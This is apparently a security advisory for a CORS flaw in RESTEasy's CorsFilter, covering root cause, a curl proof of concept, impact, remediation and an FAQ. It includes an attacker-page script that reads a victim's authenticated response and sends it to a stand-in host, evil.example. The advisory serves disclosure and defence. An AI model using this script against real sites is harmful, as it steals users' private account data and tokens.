CVE-2026-89058: Resteasy-core: resteasy: corsfilter reflects arbitrary origin with credentials under wildcard config
RESTEasy CorsFilter Reflects Arbitrary Origin with Credentials under Wildcard Config
| Field | Value | |-------|-------| | Component | resteasy-core (RESTEasy / JBoss / Red Hat) | | Affected version | 7.0.2.Final | | Vulnerable class | org.jboss.resteasy.plugins.interceptors.CorsFilter | | Vulnerability type | CWE-942 Permissive Cross-domain Policy / CWE-346 Origin Validation Error | | Attack vector | Remote, cross-origin (malicious web page) | | Reproduction status | Reproduced |
Summary
CorsFilter defaults allowCredentials = true. When an operator uses the documented "accept all origins" mode by adding "" to getAllowedOrigins(), checkOrigin() accepts any origin, and the response filter reflects the concrete request Origin back in Access-Control-Allow-Origin (not the literal ) together with Access-Control-Allow-Credentials: true. This is exactly the CORS misconfiguration the browser spec forbids for ; RESTEasy re-introduces it by reflecting the concrete origin, allowing any malicious site to perform credentialed cross-origin reads of authenticated responses.
CVSS 3.1
Base score: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Root-cause analysis
CorsFilter.java: java protected boolean allowCredentials = true; // line 27 (dangerous default) // checkOrigin (line 170-175): passes if "" present if (!getAllowedOrigins().contains("") && !getAllowedOrigins().contains(origin)) { throw ... } // response filter (line 131-134): reflects concrete origin + credentials responseContext.getHeaders().putSingle(ACCESSCONTROLALLOWORIGIN, origin); if (isAllowCredentials()) responseContext.getHeaders().putSingle(ACCESSCONTROLALLOWCREDENTIALS, "true");
Reproduction
Environment RESTEasy 7.0.2.Final embedded in Undertow, JDK 21. CorsFilter registered as a singleton with cors.getAllowedOrigins().add(""). Resource: java @Path("/cors") public static class CorsResource { @GET @Produces("text/plain") public String cors(){ return "secret-account-data"; } }
POC bash curl -s -i -H "Origin: https://evil.example" http://127.0.0.1:8080/cors | \ grep -i "access-control-allow"
Observed output (actual) Access-Control-Allow-Origin: https://evil.example Access-Control-Allow-Credentials: true
Attacker page html <script> fetch('https://api.victim/cors', {credentials:'include'}) .then(r => r.text()).then(d => fetch('https://evil.example/collect?d='+encodeURIComponent(d))); </script> Because the response carries ACAO: https://evil.example + ACAC: true, the browser hands the authenticated response body to the attacker's script.
Impact Any malicious origin can read authenticated, per-user responses (account data, tokens embedded in responses, CSRF tokens) from a victim's browser session — a full cross-origin confidentiality breach.
Remediation 1. When allowedOrigins contains "" and allowCredentials is true, do not reflect a concrete origin — emit Access-Control-Allow-Origin: and drop credentials (spec behavior), or require an explicit origin allowlist. 2. Default allowCredentials to false.
Other sources
A flaw was found in RESTEasy's CorsFilter, which, when configured to allow all origins (""), reflects the request's Origin header back in the Access-Control-Allow-Origin response together with Access-Control-Allow-Credentials: true. This permissive cross-origin policy allows a malicious website to make credentialed cross-origin requests and read authenticated responses from a victim's session, resulting in a loss of confidentiality.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Set CorsFilter default allowCredentials to false (current dangerous default is `protected boolean allowCredentials = true;`).
RESTEasy CorsFilter (org.jboss.resteasy.plugins.interceptors.CorsFilter) allowCredentials = false - Configuration
When using CorsFilter, do not configure `getAllowedOrigins().add("*")` (accept-all). Instead, require an explicit origin allowlist so checkOrigin() does not accept any Origin and reflect the concrete request Origin only for explicitly allowed origins.
RESTEasy CorsFilter (CorsFilter.java) allowedOrigins = do not include "*" - Compensating control
Ensure CORS is not configured to allow credentialed cross-origin reads when using accept-all origins: configure responses to avoid sending `Access-Control-Allow-Credentials: true` alongside `Access-Control-Allow-Origin` values that effectively permit any origin (e.g., by removing "*" from allowedOrigins and using explicit allowlist origins).
Event History
Frequently Asked Questions
Who is exposed to credentialed cross-origin reads?
Applications using RESTEasy CorsFilter 7.0.2.Final are exposed when they add "*" to getAllowedOrigins(). Because allowCredentials defaults to true, any requesting origin can receive a reflected Access-Control-Allow-Origin value together with Access-Control-Allow-Credentials: true.
What does an attacker need to exploit this?
An attacker needs to host or control a malicious web page that a user visits. The victim must have credentials for the target application so the browser sends an authenticated cross-origin request and allows the malicious page to read the response.
Is the default CorsFilter configuration alone enough to trigger the issue?
No. Although allowCredentials is enabled by default, the vulnerable behavior described requires the operator to enable the documented accept-all-origins mode by adding "*" to getAllowedOrigins().
What can be done if patching is not immediately possible?
Do not use "*" in getAllowedOrigins(). Configure only the specific trusted origins that need cross-origin access, preventing arbitrary origins from being accepted and reflected.
How can we check whether an application is affected?
Review CorsFilter configuration for "*" in getAllowedOrigins(). Affected behavior can also be identified by sending a request with an arbitrary Origin header and observing that the response reflects that origin in Access-Control-Allow-Origin while also returning Access-Control-Allow-Credentials: true.